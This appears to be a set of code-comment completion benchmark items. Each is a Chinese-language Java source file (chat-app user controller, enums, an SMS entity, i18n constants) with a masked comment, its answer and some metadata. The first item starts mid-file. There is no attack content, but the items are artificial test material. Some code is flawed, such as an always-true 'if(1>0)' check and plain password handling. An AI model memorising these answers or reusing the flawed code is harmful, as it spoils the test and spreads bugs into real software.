你好啊小美女' */ NutMap nm = chatMessageDao.pageMsg(pageNo, pageSize, me, toid, type); return nm; } /** * Validate Data * @param user * @param create * @return */ protected String checkUser(User user, boolean create) { if (user == null) { return "空对象"; } if (create) { if (Strings.isBlank(user.getUsername()) || Strings.isBlank(user.getPwd())) return "用户名/密码不能为空"; } else { if (Strings.isBlank(user.getPwd())) return "密码不能为空"; } String passwd = user.getPwd().trim(); if (6 > passwd.length() || passwd.length() > 12) { return "密码长度错误"; } user.setPwd(passwd); if (create) { int count = dao.count(User.class, Cnd.where("username", "=", user.getUsername())); if (count != 0) { return "用户名已经存在"; } } else { if (user.getId() < 1) { return "用户Id非法"; } } if (user.getUsername() != null) user.setUsername(user.getUsername().trim()); return null; } }
EggsBlue/MyChat
MyChat/src/com/mychat/controol/UserModule.java
2,702
//0未读
line_comment
zh-cn
package com.mychat.controol; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.http.HttpSession; import org.nutz.dao.Cnd; import org.nutz.dao.Dao; import org.nutz.ioc.loader.annotation.Inject; import org.nutz.ioc.loader.annotation.IocBean; import org.nutz.json.Json; import org.nutz.lang.Strings; import org.nutz.lang.util.NutMap; import org.nutz.mvc.annotation.At; import org.nutz.mvc.annotation.Attr; import org.nutz.mvc.annotation.Ok; import org.nutz.mvc.annotation.Param; import com.mychat.dao.ChatMessageDao; import com.mychat.dao.UserDao; import com.mychat.entity.InitData; import com.mychat.entity.JsonMsgModel; import com.mychat.entity.Message; import com.mychat.entity.User; import com.mychat.msg.entity.ChatMessage; /** * Describe: User Controll * Author:陆小不离 * Age:Eighteen * Time:2017年4月24日 上午11:34:08 */ @IocBean @At("/user") @Ok("json") public class UserModule { @Inject(value="userDao") private UserDao userDao; @Inject private Dao dao; @Inject private ChatMessageDao chatMessageDao; /** * 登陆 * @param u * @param session * @return */ @At public Object login(@Param("..")User u,HttpSession session){ NutMap re = new NutMap(); User user = userDao.getByNamPwd(u); if(user == null){ re.setv("ok", false).setv("msg", "用户名或密码错误!"); return re; }else{ session.setAttribute("me", user.getId()); session.setAttribute("username", user.getUsername()); re.setv("ok", true).setv("msg", "登陆成功!"); userDao.online(user.getId()); return re; } } /** * 注册 * @param user * @param session * @return */ @At public Object registry(@Param("..") User user,HttpSession session){ NutMap re = new NutMap(); String msg = checkUser(user,true); if(msg != null){ re.setv("ok", false).setv("msg", msg); return re; } user.setAvatar("/mychat/imgs/user.jpg"); User u = userDao.save(user); if(u==null){ re.setv("ok", false).setv("msg", "注册失败!"); return re; }else{ session.setAttribute("me", user.getId()); session.setAttribute("username", user.getUsername()); re.setv("ok", true).setv("msg", "注册成功"); //添加默认分组 userDao.addGroup(u.getId(), "家人"); userDao.addGroup(u.getId(), "朋友"); return re; } } /** * 查找用户 * @param name * @return */ @At public Object seachUser(@Param("name") String name){ List<User> users = userDao.getByLikeName(name); return Json.toJson(users); } /** * 初始化数据 * @param me * @return */ @At @Ok("raw") public String getInitData(@Attr("me") int me){ String data = userDao.getInitData(me); System.out.println(data); return data; } /** * 获取未读消息数量 * @param me * @return */ @At public Object unreadMsgCount(@Attr("me") int me){ List<Message> msgs = userDao.getMessages(me); int count = 0; for(Message msg : msgs){ if(msg.getRead() == 0){//0未 <SUF> count++; } } NutMap nm = new NutMap(); nm.setv("ok", true).setv("count",count); return nm; } /** * 获取我的消息 * @param me * @return */ @At public Object getMsg(@Attr("me") int me){ List<Message> msgs = userDao.getMessages(me); JsonMsgModel jmm = new JsonMsgModel(); jmm.setCode(0); jmm.setPages(1); jmm.setData(msgs); return jmm; } /** * 已读我的消息 * @param me */ @At public void markRead(@Attr("me") int me){ userDao.markRead(me); } /** * 申请添加好友 * @param me 我的id * @param uid 对方id * @param from_group 到哪个分组? * @return */ @At public Object applyFriend(@Attr("me") int me,@Param("uid")int uid,@Param("from_group")int from_group ){ NutMap nm = new NutMap(); int i = userDao.applyFriend(uid, me, from_group); if(1>0) nm.setv("ok", 1); else nm.setv("ok", 0); return nm; } /** * 同意添加 * @param me 我的id * @param uid 对方的id * @param group 我要添加到的分组id * @param from_group 对方要添加到的分组id * @return */ @At public Object addFridend(@Attr("me") int me,@Param("uid") int uid,@Param("group") int group,@Param("from_group") int from_group,@Param("msgid")int msgid){ NutMap nm = new NutMap(); //查出我的所有好友,判断是否已经添加过 List<User> list = userDao.getFriends(me); if(list!=null && list.size()>0){ for(User u : list){ if(u.getId() == uid) return nm.setv("code", 1).setv("msg", "不可重复添加!"); } } int id = userDao.addFriend(me, uid, group); int i = userDao.addFriend(uid, me, from_group); System.out.println("加好友成功!"); //更新消息状态 userDao.updateMsg(msgid, 3); //更新状态为已同意 nm.setv("code", 0); return nm; } /** * 拒绝添加 * @param me * @param msgid * @return */ @At public Object declineApply(@Attr("me") int me,@Param("msgid")int msgid){ NutMap nm = new NutMap(); userDao.updateMsg(msgid, 2); nm.setv("code", 0); return nm; } /** * 上线 * @param me */ @At public void online(@Attr("me") int me){ userDao.online(me); } /** * 下线 * @param me */ @At public void hide(@Attr("me") int me){ userDao.hide(me); } /** * 修改签名 * @param me * @param sign */ @At public void updateSign(@Attr("me") int me,@Param("sign") String sign){ userDao.updateSign(me, sign); } /** * 根据id获取用户信息,可用于查看在线状态 * @param id * @return */ @At public Object getUser(@Param("id") int id){ User user = userDao.findbyid(id); return user; } /** * 查询群成员 * @param id * @return */ @At public Object getMembers(@Param("id") int fid){ List<User> members = userDao.getMembers(fid); InitData id = new InitData(); id.setCode(0); id.setMsg(""); Map<String,Object> war = new HashMap<String,Object>(); war.put("list", members); id.setData(war); return id; } /** * 分页查询聊天记录 * @param me * @param pageNo * @param pageSize * @param toid * @param type * @return */ @At @Ok("json") public Object getOldMsgs(@Attr("me") int me,@Param("pageNo") int pageNo,@Param("pageSize") int pageSize,@Param("toid") int toid,@Param("type") int type){ /* username: '纸飞机' ,id: 1 ,avatar: 'http://tva3.sinaimg.cn/crop.0.0.512.512.180/8693225ajw8f2rt20ptykj20e80e8weu.jpg' ,timestamp: 1480897882000 ,content: 'face[抱抱] face[心] 你好啊小美女' */ NutMap nm = chatMessageDao.pageMsg(pageNo, pageSize, me, toid, type); return nm; } /** * Validate Data * @param user * @param create * @return */ protected String checkUser(User user, boolean create) { if (user == null) { return "空对象"; } if (create) { if (Strings.isBlank(user.getUsername()) || Strings.isBlank(user.getPwd())) return "用户名/密码不能为空"; } else { if (Strings.isBlank(user.getPwd())) return "密码不能为空"; } String passwd = user.getPwd().trim(); if (6 > passwd.length() || passwd.length() > 12) { return "密码长度错误"; } user.setPwd(passwd); if (create) { int count = dao.count(User.class, Cnd.where("username", "=", user.getUsername())); if (count != 0) { return "用户名已经存在"; } } else { if (user.getId() < 1) { return "用户Id非法"; } } if (user.getUsername() != null) user.setUsername(user.getUsername().trim()); return null; } }
0
42231_1
package cn.crap.enu; import java.util.Optional; /** * bug严重程度 */ public enum BugType { /** * 问题类型:1线上问题,2功能缺陷,3需求问题,4性能瓶颈,5反馈意见 */ ONLINE("1", "线上问题"), FUNCTION("2", "功能缺陷"), DEMAND("3", "需求问题"), PERFORMANCE("4","性能瓶颈"), SUGGEST("5", "反馈意见"); private final String value; private final String name; public static BugType getByValue(String value){ return getByValue(Byte.parseByte(value)); } public static BugType getByValue(Byte value){ if (value == null){ return null; } for(BugType status : BugType.values()){ if(status.value.equals(value + "")){ return status; } } return null; } public static String getNameByValue(Byte value){ BugType type = getByValue(value); return Optional.ofNullable(type).map(s->s.getName()).orElse(""); } BugType(String value, String name){ this.value = value; this.name = name; } public Byte getByteValue(){ return new Byte(value); } public String getValue(){ return value; } public String getName() { return name; } }
EhsanTang/ApiManager
api/src/main/java/cn/crap/enu/BugType.java
361
/** * 问题类型:1线上问题,2功能缺陷,3需求问题,4性能瓶颈,5反馈意见 */
block_comment
zh-cn
package cn.crap.enu; import java.util.Optional; /** * bug严重程度 */ public enum BugType { /** * 问题类 <SUF>*/ ONLINE("1", "线上问题"), FUNCTION("2", "功能缺陷"), DEMAND("3", "需求问题"), PERFORMANCE("4","性能瓶颈"), SUGGEST("5", "反馈意见"); private final String value; private final String name; public static BugType getByValue(String value){ return getByValue(Byte.parseByte(value)); } public static BugType getByValue(Byte value){ if (value == null){ return null; } for(BugType status : BugType.values()){ if(status.value.equals(value + "")){ return status; } } return null; } public static String getNameByValue(Byte value){ BugType type = getByValue(value); return Optional.ofNullable(type).map(s->s.getName()).orElse(""); } BugType(String value, String name){ this.value = value; this.name = name; } public Byte getByteValue(){ return new Byte(value); } public String getValue(){ return value; } public String getName() { return name; } }
1
60092_10
package cn.eiden.hsm.enums; /** * 多职业组 * @author Eiden J.P Zhou * @date 2020/8/5 17:22 */ public enum MultiClassGroup { /**无效*/ INVALID(0), /**污手党*/ GRIMY_GOONS(1), /**玉莲帮*/ JADE_LOTUS(2), /**暗金教*/ KABAL(3), /**骑士-牧师*/ PALADIN_PRIEST(4), /**牧师-术士*/ PRIEST_WARLOCK(5), /**术士-恶魔猎手*/ WARLOCK_DEMONHUNTER(6), /**恶魔猎手-猎人*/ HUNTER_DEMONHUNTER(7), /**猎人-德鲁伊*/ DRUID_HUNTER(8), /**德鲁伊-萨满*/ DRUID_SHAMAN(9), /**萨满-法师*/ MAGE_SHAMAN(10), /**法师-盗贼*/ MAGE_ROGUE(11), /**盗贼-战士*/ ROGUE_WARRIOR(12), /**战士-骑士*/ PALADIN_WARRIOR(13) ; /**代号*/ private int code; MultiClassGroup(int code) { this.code = code; } public int getCode() { return code; } }
EidenRitto/hearthstone
hearth-core/src/main/java/cn/eiden/hsm/enums/MultiClassGroup.java
385
/**德鲁伊-萨满*/
block_comment
zh-cn
package cn.eiden.hsm.enums; /** * 多职业组 * @author Eiden J.P Zhou * @date 2020/8/5 17:22 */ public enum MultiClassGroup { /**无效*/ INVALID(0), /**污手党*/ GRIMY_GOONS(1), /**玉莲帮*/ JADE_LOTUS(2), /**暗金教*/ KABAL(3), /**骑士-牧师*/ PALADIN_PRIEST(4), /**牧师-术士*/ PRIEST_WARLOCK(5), /**术士-恶魔猎手*/ WARLOCK_DEMONHUNTER(6), /**恶魔猎手-猎人*/ HUNTER_DEMONHUNTER(7), /**猎人-德鲁伊*/ DRUID_HUNTER(8), /**德鲁伊 <SUF>*/ DRUID_SHAMAN(9), /**萨满-法师*/ MAGE_SHAMAN(10), /**法师-盗贼*/ MAGE_ROGUE(11), /**盗贼-战士*/ ROGUE_WARRIOR(12), /**战士-骑士*/ PALADIN_WARRIOR(13) ; /**代号*/ private int code; MultiClassGroup(int code) { this.code = code; } public int getCode() { return code; } }
0
37899_3
package com.iwc.shop.modules.sys.entity; import com.iwc.shop.common.config.Global; import com.iwc.shop.common.persistence.DataEntity; import java.util.Date; /** * 短信Entity * @author Tony Wong * @version 2015-07-13 */ public class Sms extends DataEntity<Sms> { private static final long serialVersionUID = 1L; private String mobile; private String msg; private String type; private Date expiredDate; private String isReceived; private String syncReturnResult; private String code; //验证码 // type 短信类型 public static final String TYPE_REGISTER = "1"; // 注册验证码短信类型 public static final String TYPE_FORGET_PASSWORD = "2"; // 注册验证码短信类型 //注册验证码短信 //public static final String MSG_REGISTER = "验证码为 " + code + ",恭喜,您正在注册月光茶人,请填写验证码并完成注册。(月光茶人客服绝不会索取此验证码,请勿告知他人)"; public Sms(){ super(); this.isReceived = Global.NO; } public Sms(String id){ super(id); this.isReceived = Global.NO; } public String getMobile() { return mobile; } public void setMobile(String mobile) { this.mobile = mobile; } public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } public String getType() { return type; } public void setType(String type) { this.type = type; } public Date getExpiredDate() { return expiredDate; } public void setExpiredDate(Date expiredDate) { this.expiredDate = expiredDate; } public String getIsReceived() { return isReceived; } public void setIsReceived(String isReceived) { this.isReceived = isReceived; } public String getSyncReturnResult() { return syncReturnResult; } public void setSyncReturnResult(String syncReturnResult) { this.syncReturnResult = syncReturnResult; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } }
EleTeam/Shop-for-JavaWeb
src/main/java/com/iwc/shop/modules/sys/entity/Sms.java
605
// 注册验证码短信类型
line_comment
zh-cn
package com.iwc.shop.modules.sys.entity; import com.iwc.shop.common.config.Global; import com.iwc.shop.common.persistence.DataEntity; import java.util.Date; /** * 短信Entity * @author Tony Wong * @version 2015-07-13 */ public class Sms extends DataEntity<Sms> { private static final long serialVersionUID = 1L; private String mobile; private String msg; private String type; private Date expiredDate; private String isReceived; private String syncReturnResult; private String code; //验证码 // type 短信类型 public static final String TYPE_REGISTER = "1"; // 注册 <SUF> public static final String TYPE_FORGET_PASSWORD = "2"; // 注册验证码短信类型 //注册验证码短信 //public static final String MSG_REGISTER = "验证码为 " + code + ",恭喜,您正在注册月光茶人,请填写验证码并完成注册。(月光茶人客服绝不会索取此验证码,请勿告知他人)"; public Sms(){ super(); this.isReceived = Global.NO; } public Sms(String id){ super(id); this.isReceived = Global.NO; } public String getMobile() { return mobile; } public void setMobile(String mobile) { this.mobile = mobile; } public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } public String getType() { return type; } public void setType(String type) { this.type = type; } public Date getExpiredDate() { return expiredDate; } public void setExpiredDate(Date expiredDate) { this.expiredDate = expiredDate; } public String getIsReceived() { return isReceived; } public void setIsReceived(String isReceived) { this.isReceived = isReceived; } public String getSyncReturnResult() { return syncReturnResult; } public void setSyncReturnResult(String syncReturnResult) { this.syncReturnResult = syncReturnResult; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } }
1
12312_77
package com.szmirren.common; /** * 语言国际化的常量 * * @author <a href="http://szmirren.com">Mirren</a> * */ public interface LanguageKey { // =========================页面标题============================== /** 创建数据库连接 */ static final String PAGE_CREATE_CONNECTION = "page.createConnection"; /** 修改数据库连接 */ static final String PAGE_UPDATE_CONNECTION = "page.updateConnection"; // =========================提示语================================ /** 生成路径不能为空 */ static final String TIPS_PATH_CANT_EMPTY = "tips.pathCantEmpty"; /** 首页-提示先选择表名 */ static final String INDEX_TIPS_SELECT_TABLE_NAME = "index.selectTableTips"; /** 首页-提示先选择表名或者全库生成 */ static final String INDEX_TIPS_CREATE_TABLE = "index.createTableTips"; /** 首页-配置文件的配置信息表格提示 */ static final String HISTORY_CONFIG_TABLE_TIPS = "historyConfig.tableTips"; // ========================通用区域=============================== /** 通用设置按钮 */ static final String COMMON_BTN_SET = "common.btnSet"; // ======================首页相关区域============================== /** 首页的数据连接 */ static final String INDEX_LBL_CONNECTION = "index.lblConnection"; /** 首页的配置信息 */ static final String INDEX_LBL_CONFIG = "index.lblConfig"; /** 首页的使用帮助 */ static final String INDEX_LBL_INSTRUCTIONS = "index.lblInstructions"; /** 首页的设置 */ static final String INDEX_LBL_SETTING = "index.lblSetting"; /** 首页的保存配置提示 */ static final String INDEX_SAVE_CONFIG_TIPS = "index.saveConfigTips"; /** 首页的保存配置不合格提示 */ static final String INDEX_SAVE_CONFIG_NOT_C_TIPS = "index.saveConfigNotCTips"; /** 首页-项目路径文字 */ static final String INDEX_LBL_PROJECT_PATH = "index.lblProjectPath"; /** 首页-项目路径输入框 */ static final String INDEX_TXT_PROJECT_PATH = "index.txtProjectPath"; /** 首页-选择项目路径 */ static final String INDEX_BTN_SELECT_FILE = "index.btnSelectFile"; /** 首页-表名 */ static final String INDEX_LBL_TABLE_NAME = "index.lblTableName"; /** 首页-表名输入框提示 */ static final String INDEX_TXT_TABLE_NAME = "index.txtTableName"; /** 首页-实体类包名 */ static final String INDEX_LBL_ENTITY_PACKAGE = "index.lblEntityPackage"; /** 首页-Service接口包名 */ static final String INDEX_LBL_SERVICE_PACKAGE = "index.lblServicePackage"; /** 首页-Service实现类包名 */ static final String INDEX_LBL_SERVICE_IMPL_PACKAGE = "index.lblServiceImplPackage"; /** 首页-Router包名 */ static final String INDEX_LBL_ROUTER_PACKAGE = "index.lblRouterPackage"; /** 首页-SQL包名 */ static final String INDEX_LBL_SQL_PACKAGE = "index.lblSqlPackage"; /** 首页-SqlAssist包名 */ static final String INDEX_LBL_ASSIST_PACKAGE = "index.lblAssistPackage"; /** 首页-AbstractSQL包名 */ static final String INDEX_LBL_ABSTRACT_SQL_PACKAGE = "index.lblAbstractSqlPackage"; /** 首页-Mapper包名 */ static final String INDEX_LBL_MAPPER_PACKAGE = "index.lblSqlParamsPackage"; /** 首页-单元测试包名 */ static final String INDEX_LBL_UNIT_TEST_PACKAGE = "index.lblUnitTestPackage"; /** 首页-实体类类名 */ static final String INDEX_LBL_ENTITY_NAME = "index.lblEntityName"; /** 首页-Service接口名 */ static final String INDEX_LBL_SERVICE_NAME = "index.lblServiceName"; /** 首页-Service实现类名 */ static final String INDEX_LBL_SERVICE_IMPL_NAME = "index.lblServiceImplName"; /** 首页-Router类名 */ static final String INDEX_LBL_ROUTER_NAME = "index.lblRouterName"; /** 首页-SQL类名 */ static final String INDEX_LBL_SQL_NAME = "index.lblSqlName"; /** 首页-SqlAssist类名 */ static final String INDEX_LBL_ASSIST_NAME = "index.lblAssistName"; /** 首页-AbstractSql类名 */ static final String INDEX_LBL_ABSTRACT_SQL_NAME = "index.lblAbstractSqlName"; /** 首页-SqlAndParams类名 */ static final String INDEX_LBL_MAPPER_NAME = "index.lblSqlParamsName"; /** 首页-单元测试类名 */ static final String INDEX_LBL_UNIT_TEST_NAME = "index.lblUnitTestName"; /** 首页-正在生成提示语句 */ static final String INDEX_RUN_CREATE_TIPS_TEXT = "index.runCreateTipsText"; /** 首页-自定义包名与类 */ static final String INDEX_LBL_SET_CUSTOM = "index.lblSetCustom"; /** 首页-自定义属性 */ static final String INDEX_LBL_SET_CUSTOM_PROPERTY = "index.lblSetCustomProperty"; /** 首页-文件编码格式 */ static final String INDEX_LBL_CODE_FORMAT = "index.lblCodeFormat"; /** 首页-执行创建 */ static final String INDEX_BTN_RUN_CREATE = "index.btnRunCreate"; /** 首页-保存配置文件 */ static final String INDEX_BTN_SAVE_CONFIG = "index.btnSaveConfig"; /** 首页-数据库数右键打开连接 */ static final String INDEX_TVMI_OPEN_CONNECT = "index.tvmiOpenConnect"; /** 首页-数据库数右键关闭连接 */ static final String INDEX_TVMI_CLOSE_CONNECT = "index.tvmiCloseConnect"; /** 首页-数据库数右键修改连接 */ static final String INDEX_TVMI_UPDATE_CONNECT = "index.tvmiUpdateConnect"; /** 首页-数据库数右键删除连接 */ static final String INDEX_TVMI_DELETE_CONNECT = "index.tvmiDeleteConnect"; /** 首页-数据库数右键生成全库 */ static final String INDEX_TVMI_CREATE_FULL_DB = "index.tvmiCreateFullDB"; // ========================使用帮助区域=============================== /** 使用帮助-当前版本 */ static final String INSTRUCTION_LBL_Version = "instruction.lblVersion"; /** 使用帮助-使用帮助 */ static final String INSTRUCTION_LBL_INSTRUCTIONS = "instruction.lblInstructions"; /** 使用帮助-开源地址 */ static final String INSTRUCTION_LBL_PROJECT_PATH = "instruction.lblProjectPath"; /** 使用帮助-模板仓库 */ static final String INSTRUCTION_LBL_TEMPLATE_PATH = "instruction.lblTemplatePath"; /** 使用帮助-QQ交流群 */ static final String INSTRUCTION_LBL_TALK_GROUP_IN_QQ = "instruction.lblTalkGroupInQQ"; /** 使用帮助-作者邮箱 */ static final String INSTRUCTION_LBL_AUTHORS_EMAIL = "instruction.lblAuthorsEmail"; // =======================设置区域================================ /** 设置-语言 */ static final String SETTING_LBL_LANGUAGE = "setting.lblLanguage"; // ======================新建数据库连接============================== /** 数据库连接-连接名称 */ static final String CONN_LBL_CONN_NAME = "conn.lblConnName"; /** 数据库连接-连接地址 */ static final String CONN_LBL_CONN_URL = "conn.lblConnURL"; /** 数据库连接-端口号 */ static final String CONN_LBL_LISTEN_PORT = "conn.lblListenPort"; /** 数据库连接-数据库类型 */ static final String CONN_LBL_DB_TYPE = "conn.lblDBType"; /** 数据库连接-数据库名字 */ static final String CONN_LBL_DB_NAME = "conn.lblDBName"; /** 数据库连接-用户名 */ static final String CONN_LBL_USER_NAME = "conn.lblUserName"; /** 数据库连接-用户密码 */ static final String CONN_LBL_USER_PWD = "conn.lblUserPwd"; /** 数据库连接-数据库编码 */ static final String CONN_LBL_DB_CODING = "conn.lblDBCoding"; /** 数据库连接-连接名称 */ static final String CONN_TXT_CONN_NAME = "conn.txtConnName"; /** 数据库连接-连接地址 */ static final String CONN_TXT_CONN_URL = "conn.txtConnURL"; /** 数据库连接-端口号 */ static final String CONN_TXT_LISTEN_PORT = "conn.txtListenPort"; /** 数据库连接-数据库类型 */ static final String CONN_CBO_DB_TYPE = "conn.cboDBType"; /** 数据库连接-数据库名称 */ static final String CONN_TXT_DB_NAME = "conn.txtDBName"; /** 数据库连接-用户名字 */ static final String CONN_TXT_USER_NAME = "conn.txtUserName"; /** 数据库连接-用户密码 */ static final String CONN_TXT_USER_PWD = "conn.txtUserPwd"; /** 数据库连接-测试连接 */ static final String CONN_BTN_TEST_CONN = "conn.btnTestConn"; /** 数据库连接-保存 */ static final String CONN_BTN_SAVE = "conn.btnSave"; /** 数据库连接-取消 */ static final String CONN_BTN_CANCEL = "conn.btnCancel"; // ========================配置信息================================== /** 数据库连接-提示语句 */ static final String CONFIG_LBL_TIPS = "config.lblTips"; /** 数据库连接-配置信息文件名 */ static final String CONFIG_TD_INFO = "config.tdInfo"; /** 数据库连接-操作 */ static final String CONFIG_TD_OPERATION = "config.tdOperation"; /** 数据库连接-加载 */ static final String CONFIG_BTN_LOAD = "config.btnLoad"; /** 数据库连接-删除 */ static final String CONFIG_BTN_DATELE = "config.btnDelete"; // ========================设置================================== /** 设置实体类-是否创建 */ static final String SET_ENTITY_TD_CREATE = "setEntity.tdcreate"; /** 设置实体类-数据库列名 */ static final String SET_ENTITY_TD_COLUMN = "setEntity.tdColumn"; /** 设置实体类-SQL数据类型 */ static final String SET_ENTITY_TD_SQL_TYPE = "setEntity.tdSqlType"; /** 设置实体类-java数据类型 */ static final String SET_ENTITY_TD_JAVA_TYPE = "setEntity.tdJavaType"; /** 设置实体类-字段属性名 */ static final String SET_ENTITY_TD_FIELD = "setEntity.tdField"; /** 设置实体类-表的别名 */ static final String SET_ENTITY_LBL_TABLE_ALIAS = "setEntity.lblTableAlias"; /** 设置实体类-表的别名 */ static final String SET_ENTITY_TXT_TABLE_ALIAS = "setEntity.txtTableAlias"; /** 设置实体类-主键名称 */ static final String SET_ENTITY_LBL_PRIMARY_KEY = "setEntity.lblPrimaryKey"; /** 设置实体类-主键名称 */ static final String SET_ENTITY_TXT_PRIMARY_KEY = "setEntity.txtPrimaryKey"; /** 设置实体类- 自定属性类型 */ static final String SET_ENTITY_LBL_KEY = "setEntity.lblKey"; /** 设置实体类-自定属性类型 */ static final String SET_ENTITY_TXT_KEY = "setEntity.txtKey"; /** 设置实体类-自定属性类型名称 */ static final String SET_ENTITY_LBL_VALUE = "setEntity.lblValue"; /** 设置实体类-自定属性类型名称 */ static final String SET_ENTITY_TXT_VALUE = "setEntity.txtValue"; /** 设置实体类-字段驼峰命名 */ static final String SET_CHK_FIELD_CAMEL = "setEntity.chkFieldCamel"; /** 设置-表格详情 */ static final String SET_TBL_TIPS = "set.tblTips"; /** 设置-列详情 */ static final String SET_TD_DESCRIBE = "set.tdDescribe"; /** 设置-提示语句 */ static final String SET_LBL_TIPS = "set.lblTips"; /** 设置-保存配置 */ static final String SET_BTN_SAVE_CONFIG = "set.btnSaveConfig"; /** 设置-添加自定义属性 */ static final String SET_LBL_ADD_CUSTOM_PROPERTY = "set.lblAddCustomProperty"; /** 设置-详情 */ static final String SET_LBL_DESCRIBE = "set.lblDescribe"; /** 设置-添加属性key */ static final String SET_TXT_KEY = "set.txtKey"; /** 设置-添加属性value */ static final String SET_TXT_VALUE = "set.txtValue"; /** 设置-添加属性描述 */ static final String SET_TXT_DESCRIBE = "set.txtDescribe"; /** 设置-添加属性 */ static final String SET_BTN_ADD_PROPERTY = "set.btnAddProperty"; /** 设置-模板 */ static final String SET_LBL_TEMPLATE = "set.lblTemplate"; /** 设置-模板 */ static final String SET_CBO_TEMPLATE = "set.cboTemplate"; /** 设置-确定 */ static final String SET_BTN_CONFIRM = "set.btnConfirm"; /** 设置-取消 */ static final String SET_BTN_CANCEL = "set.btnCancel"; /** 设置-取消设置的提示 */ static final String SET_BTN_CANCEL_TIPS = "set.btnCancelTips"; /** 设置-覆盖存在的文件 */ static final String SET_CHK_OVERRIDE_FILE = "set.chkOverrideFile"; /** 设置-根据数据库类型自动选择 */ static final String SET_ABSTRACT_AUTOMATIC = "set.abstractAutomatic"; /** 设置-表格属性中删除menu */ static final String SET_TBL_MENU_ITEM_DELETE = "set.tblMenuItemDelete"; /** 设置-表格属性中删除提示语句 */ static final String SET_TBL_MENU_ITEM_DELETE_CONFIRM = "set.tblMenuItemDeleteConfirm"; /** 设置-通用包名 */ static final String SET_COMMON_PACKAGE_NAME = "set.commonPackageName"; /** 设置-通用类名 */ static final String SET_COMMON_CLASS_NAME = "set.commonClassName"; /** 设置-通用后缀名 */ static final String SET_COMMON_SUFFIX = "set.commonSuffix"; /** 设置-通用模板名 */ static final String SET_COMMON_TEMPLATE_NAME = "set.commonTemplateName"; /** 设置-文本属性包名 */ static final String SET_LBL_PACKAGE_NAME = "set.lblPackageName"; /** 设置-文本属性类名 */ static final String SET_LBL_CLASS_NAME = "set.lblClassName"; /** 设置-输入框属性包名 */ static final String SET_TXT_PACKAGE_NAME = "set.txtPackageName"; /** 设置-输入框属性类名 */ static final String SET_TXT_CLASS_NAME = "set.txtClassName"; }
EliMirren/Spring-generator
src/main/java/com/szmirren/common/LanguageKey.java
3,771
/** 数据库连接-测试连接 */
block_comment
zh-cn
package com.szmirren.common; /** * 语言国际化的常量 * * @author <a href="http://szmirren.com">Mirren</a> * */ public interface LanguageKey { // =========================页面标题============================== /** 创建数据库连接 */ static final String PAGE_CREATE_CONNECTION = "page.createConnection"; /** 修改数据库连接 */ static final String PAGE_UPDATE_CONNECTION = "page.updateConnection"; // =========================提示语================================ /** 生成路径不能为空 */ static final String TIPS_PATH_CANT_EMPTY = "tips.pathCantEmpty"; /** 首页-提示先选择表名 */ static final String INDEX_TIPS_SELECT_TABLE_NAME = "index.selectTableTips"; /** 首页-提示先选择表名或者全库生成 */ static final String INDEX_TIPS_CREATE_TABLE = "index.createTableTips"; /** 首页-配置文件的配置信息表格提示 */ static final String HISTORY_CONFIG_TABLE_TIPS = "historyConfig.tableTips"; // ========================通用区域=============================== /** 通用设置按钮 */ static final String COMMON_BTN_SET = "common.btnSet"; // ======================首页相关区域============================== /** 首页的数据连接 */ static final String INDEX_LBL_CONNECTION = "index.lblConnection"; /** 首页的配置信息 */ static final String INDEX_LBL_CONFIG = "index.lblConfig"; /** 首页的使用帮助 */ static final String INDEX_LBL_INSTRUCTIONS = "index.lblInstructions"; /** 首页的设置 */ static final String INDEX_LBL_SETTING = "index.lblSetting"; /** 首页的保存配置提示 */ static final String INDEX_SAVE_CONFIG_TIPS = "index.saveConfigTips"; /** 首页的保存配置不合格提示 */ static final String INDEX_SAVE_CONFIG_NOT_C_TIPS = "index.saveConfigNotCTips"; /** 首页-项目路径文字 */ static final String INDEX_LBL_PROJECT_PATH = "index.lblProjectPath"; /** 首页-项目路径输入框 */ static final String INDEX_TXT_PROJECT_PATH = "index.txtProjectPath"; /** 首页-选择项目路径 */ static final String INDEX_BTN_SELECT_FILE = "index.btnSelectFile"; /** 首页-表名 */ static final String INDEX_LBL_TABLE_NAME = "index.lblTableName"; /** 首页-表名输入框提示 */ static final String INDEX_TXT_TABLE_NAME = "index.txtTableName"; /** 首页-实体类包名 */ static final String INDEX_LBL_ENTITY_PACKAGE = "index.lblEntityPackage"; /** 首页-Service接口包名 */ static final String INDEX_LBL_SERVICE_PACKAGE = "index.lblServicePackage"; /** 首页-Service实现类包名 */ static final String INDEX_LBL_SERVICE_IMPL_PACKAGE = "index.lblServiceImplPackage"; /** 首页-Router包名 */ static final String INDEX_LBL_ROUTER_PACKAGE = "index.lblRouterPackage"; /** 首页-SQL包名 */ static final String INDEX_LBL_SQL_PACKAGE = "index.lblSqlPackage"; /** 首页-SqlAssist包名 */ static final String INDEX_LBL_ASSIST_PACKAGE = "index.lblAssistPackage"; /** 首页-AbstractSQL包名 */ static final String INDEX_LBL_ABSTRACT_SQL_PACKAGE = "index.lblAbstractSqlPackage"; /** 首页-Mapper包名 */ static final String INDEX_LBL_MAPPER_PACKAGE = "index.lblSqlParamsPackage"; /** 首页-单元测试包名 */ static final String INDEX_LBL_UNIT_TEST_PACKAGE = "index.lblUnitTestPackage"; /** 首页-实体类类名 */ static final String INDEX_LBL_ENTITY_NAME = "index.lblEntityName"; /** 首页-Service接口名 */ static final String INDEX_LBL_SERVICE_NAME = "index.lblServiceName"; /** 首页-Service实现类名 */ static final String INDEX_LBL_SERVICE_IMPL_NAME = "index.lblServiceImplName"; /** 首页-Router类名 */ static final String INDEX_LBL_ROUTER_NAME = "index.lblRouterName"; /** 首页-SQL类名 */ static final String INDEX_LBL_SQL_NAME = "index.lblSqlName"; /** 首页-SqlAssist类名 */ static final String INDEX_LBL_ASSIST_NAME = "index.lblAssistName"; /** 首页-AbstractSql类名 */ static final String INDEX_LBL_ABSTRACT_SQL_NAME = "index.lblAbstractSqlName"; /** 首页-SqlAndParams类名 */ static final String INDEX_LBL_MAPPER_NAME = "index.lblSqlParamsName"; /** 首页-单元测试类名 */ static final String INDEX_LBL_UNIT_TEST_NAME = "index.lblUnitTestName"; /** 首页-正在生成提示语句 */ static final String INDEX_RUN_CREATE_TIPS_TEXT = "index.runCreateTipsText"; /** 首页-自定义包名与类 */ static final String INDEX_LBL_SET_CUSTOM = "index.lblSetCustom"; /** 首页-自定义属性 */ static final String INDEX_LBL_SET_CUSTOM_PROPERTY = "index.lblSetCustomProperty"; /** 